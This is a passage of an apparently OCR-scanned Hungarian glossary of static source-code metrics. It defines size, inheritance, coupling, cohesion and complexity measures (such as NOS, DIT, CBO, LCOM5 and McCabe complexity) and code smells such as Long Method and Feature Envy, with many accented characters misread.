A csomagban szereplé nem {ires, nem komment sorok szama (nem szadmoljuk bele a
csomagban szerepld csomagok elemeit).

NA (Number of Attributes):
Az osztaly attributumainak a szdmat adja meg.

NAL (Number of Attributes Locally defined):
Az osztéaly lokalisan definidlt attriblitumainak a szamat adja meg (tehat nem szamolja az
esetlegesen 0rokolt attributumokat).

NM (Number of Methods):
Az NM metrika érték az osztaly metodusainak a szamat adja meg. Ebbe beletartozik a
lokalisan definialt és az 6rokolt metodus is, amely definidlva is van. Viszont a csak
metddus deklaracid nem tartozik bele.

NML (Number of Methods Locally defined):
A lokalisan definialt metodusok szdma.

NAM (Number of Attributes and Methods):
NAM az attributumok és metodusok szdma az osztalyban. Szamitdsa: NA + NM.

NAML (Number of Attributes and Methods Locally defined):
A lokalisan definialt attributumok €s metodusok szamat adja meg. Szamitasa: NAL +
NML.

NCL (Number of CLasses):
Az NCL megadja a csomagban szerepld osztdlyok szamat. Nem szémitanak bele a
csomagban szerepld csomagok osztélyai.

NII (Number of Incoming Invocations):
A NII érték metodus esetén az Osszes, ezt a metddust meghivo metddusok halmazanak a
szamossagat adja meg. Osztdly esetén az Osszes osztalybeli metddust meghivod
metodusok halmazanak a szamossagat adja meg. Ez azt jelenti, hogy ha tobb hivas
torténik az aktudlis metodusra egy masik metddusbol, akkor az 1-szer szerepel az
eredményben, mivel a hivdo metédusok halmazat tekintjik.
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NP (Number of Packages):
Az NP érték a kozvetleniil tartalmazott csomagok szdmat adja meg. Bizonyos
nyelvekben nem csomagokrol beszéliink, hanem névterekrél, ebben az esetben
értelemszeriien modositandd a metrika neve NNS-re (Number of NameSpaces).

NOI (Number of Outgoing Invocations):
A NOI metodusra adott értéke azt jelenti, hogy hany elemili az a halmaz, amely az
Osszes, a metddusbol hivott metodust tartalmazza. Nem tartozik bele az osztalyon beliili
metddushivas. Osztaly esetén az Osszes metddusabol meghivott metddushalmaz
szamossagat adja meg. Ebben az esetben a beagyazott, lokalisan definialt osztalyok nem
tartoznak bele.

NOS (Number Of Statements):
A NOS érték a metddus torzsben szerepld utasitdsok szdmat adja meg. Nyelvtdl
fliggden az alabbi utasitdsok kerlilnek Osszegzésre: break, continue, do . . . while,
empty, for, if, return, switch, while, assert, throw és a kifejezések legmagasabb szintjei.

NUMPAR (Number of Parameters):
NUMPAR metodus esetén a paraméterek szamat adja eredményiil.

Total
Sok metrikara értelmezett a Total, amely azt jelenti, hogy a metrika az egész rendszerre
vonatkozik. Ezt 4ltaldban egy, a metrika neve el¢ illesztett, T bettivel jeloljiik.

Oroklédési metrikdik

DIT (Depth of Inheritance Tree):
Az osztalyra definialt DIT 6roklodési fa azon leghosszabb utjanak hosszat jelenti, ahol
az aktualis osztalybol, valamely gyokérelembe juthatunk.
NMI (Number of Methods Inherited):
NMI érték osztaly esetén az Osszes dsosztalyban definidlt metodus szamat adja meg.
NOA (Number Of Ancestors):
A NOA megadja az osztaly 0Osszes Osét, amelybdl kozvetlenill, vagy kozvetve
szdrmazik.
NOC (Number Of Children):
NOC a kozvetleniil ezen osztalybol szarmaz6 elemek szadmat adja meg.
NOD (Number Of Descendants):
NOD az 6sszes, kozvetleniil vagy kézvetve az osztalybol szdrmazott elemek szama.
NOP (Number Of Parents):
A NOP megadja az osztaly d6seinek a szadmat, azonban csak a kozvetlen szdrmazas
szamit bele. Bizonyos nyelvekben csak egyszeres 0roklédés megengedett (pl. java),
ebben az esetben a metrika értelmét veszti.
NRC (Number of root classes):
Az NRC az 6roklodési faban szerepld, de 6ssel nem rendelkezd elemek szamat adja
meg.
S (Specialization ratio):
Az S metrika értéke osztalyokra egy arany, amely a kozvetleniil leszarmazott osztalyok
¢s a kozvetlen s osztalyok hanyadosa.
U (reUse ratio):
Az U érték az Gjrahasznositas aranya a rendszerben. Ertéke az 8s osztalyok szaméanak és
az 0sszes osztaly szdmanak ardnya.
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Total
Szintén léteznek ezekbdl a metrikakbol is rendszerszintll valtozatok, amelyek a rendszer
egészét tekintik.

Csatolasi metrikak

CBO (Coupling Between Object classes):
Egy osztaly csatolt egy masikkal, ha a masik osztidly hasznalja barmely metodusat,
attribitumat vagy kozvetleniil 6roklodik beldle. A CBO egy osztaly csatolt osztalyainak
szamat adja meg.

COF (COupling Factor):
A COF ¢érteke egy hanyados, amely nevezdje a maximalisan lehetséges csatolasok
szama a csomagon beliil, szdmlaloja pedig a valds csatoldsok szdma a csomagon beliil
1év6 osztalyok kozott.

Koheézios metrikak

LCOM (Lack of COhesion in Methods):
Az LCOM azon metddusparok szamat adja meg, amelyek nem hasznalnak kozos
attribitumot az osztalyon beliil.

LCOMS (Lack of COhesion in Methods (5)):
Kredljunk egy iranyitatlan G grafot, ahol a pontok az osztdly metddusai, és két pont
kozott akkor szerepel ¢l, ha legalabb egy kozos attributumot hasznéalnak, vagy ha
meghivjak egymast. Az LCOMS értéke a G graf erdsen Osszefliggd komponenseinek a
szama.

Komplexitas metrikak

McCC (McCabe’s Cyclomatic Complexity):
A McCabe-féle ciklomatikus komplexitas a metdduson beliili lehetséges futdsok szamat
adja meg, amely megegyezik a minimalisan sziikséges tesztesetek szdmaval,
amennyiben minden lehetséges futast tesztelni szeretnénk. A McCC érték a metdduson
beliili dontések szama + 1, ahol minden if, for, while, do . . . while és ?: (feltételes
kifejezés) elemet egyszer szdmolunk, minden N lehetdségli switch N+1 értékkel kertil
bele, tovabba minden try block N catch dggal N+1 értékkel keriil be.

NL (Nesting Level):
Az NL érték metodusokra hatdrozza meg a vezérlési struktira maximalis mélységét.
Csak az if, switch, for, foreach, while és do. . . while szerkezet szamit bele. Az NL érték
osztalyra a metodusai maximalis NL értéke.

NLE (Nesting Level Else if):
Egy hosszabb else-if szerkezet magas NL értéket eredményez, ugyanakkor tudjuk, hogy
a kod lehet még attol jol strukturalt, mivel ez a szerkezet jol tagolhatd. Az NLE értékbe
nem szamitjuk bele az else-if szerkezeteket.

WMC (Weighted Methods for Class):
A WMC az osztalyon beliili metédusok stlyozott 6sszege. A suly altalaban a metddus
McCC értéke. A WMC ezen értékek Osszege.
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Bad Smell-ek

LM (Long Method):
Egy fiiggvény hosszsdganak mérésére tobb ismert metrika 1étezik, példaul a LOC
(Lines Of Code) vagy a LLOC (Logical Lines Of Code). Bizonyos esetekben ezek a
metrikdk nem adnak pontos informéciot a fliggvény hosszar6l, mivel nem veszik
figyelembe, hogy az egyes sorok milyen hossztiak. A Long Function bad smell esetében
az egy adott fliggvényben 1évé minden programozési elemet megszdmolunk (literalok,
operatorok, kulcsszavak, stb.). Ha ez a szdm legalabb ,,Min” akkor az adott fliggvényt
Long Function-nak tekintjiik.

LPL (Long Parameter List):
Ha egy fiiggvény paramétereinek szama nagyobb vagy egyenld, mint ,,Min” akkor azt
egy Long Parameter List bad smell-nek tekintjiik.

LCO (Large Class Object):
Ha egy osztalybdl olyan objektum keletkezik, ami sok memoriat foglal, az veszélyes
lehet a rendszer eréforrasaira nézve. A Large Class Object bad smell esetében minden
egyszerl tipusnal a megfeleld értékii byte-ot tekintjiik, a rekord tipusokat (class, struct,
union) pedig rekurzidval szdmoljuk ki. Ha egy adott osztalybdl keletkezd objektum
mérete nagyobb vagy egyenld, mint ,,Min” byte, akkor az osztalyt Large Class Object
bad smell-nek tekintjiik.

DC (Data Class):
Amikor egy osztidly csak adattagokat, valamint lekérdezd és beallitdé metddusokat
tartalmaz, akkor inkabb struktiranak kellene lennie. Egy osztdly Data Class, ha a
lekérdezé és beallitd metodusainak ardnya legaldbb ,Min”. Altalaban egy absztrakt
osztalyt, struktarat és uniét nem tekintiink Data Class-nak.

RB (Refused Bequest):
A protected lathatdsagi tartomanyt az 6roklodés tamogatasara fejlesztették ki. Ha egy
orokolt tag lathatésaga protected egy gyerekosztdlyban, és a gyerekosztily nem
hivatkozik erre a tagra, akkor visszautasitja azt. Az ilyen osztalytagokat Refused
Bequest bad smell-nek tekintjiik.

TF (Temporary Field):
Ha egy adattagot nem hasznédlnak egy osztalyban és annak leszarmazottaiban, akkor
felesleges ra er6forrasokat forditani. Egy adattagra megvizsgaljuk, hogy az osztalyaban,
vagy az osztalydnak egyes leszarmazottaiban a metédusok hdny szdzaléka nem
hasznalja. Ezek koziil a legkisebb értéket tekintjiik, és ha ez legalabb ,,Min”, akkor az
adattagot Temporary Field-nek tekintjiik.

FE (Feature Envy):
Egy metodus optimalis esetben a sajat osztalyanak tagjait hasznalja. Ha egy metodus a
sajat osztalyanak tagjai helyett mas osztalyok tagjait haszndlja legalabb ,,Min”
aranyban, akkor a metddust Feature Envy-nek tekintjiik.

MC (Message Chains):
Message Chain-rdl akkor beszéliink, amikor legalabb ,,Min” fliggvényhivas kovetkezik
egymas utan. Ilyenkor az elsé hivas mindig egy objektumot ad vissza, a méasodik hivas
pedig ezen objektumhoz tartozé metoddust hivja €s igy tovabb.

SHS (SHotgun Surgery):
A Shotgun Surgery esetében az adott fiiggvényre valo hivatkozasok szama meghaladja a
,.Min” értéket.
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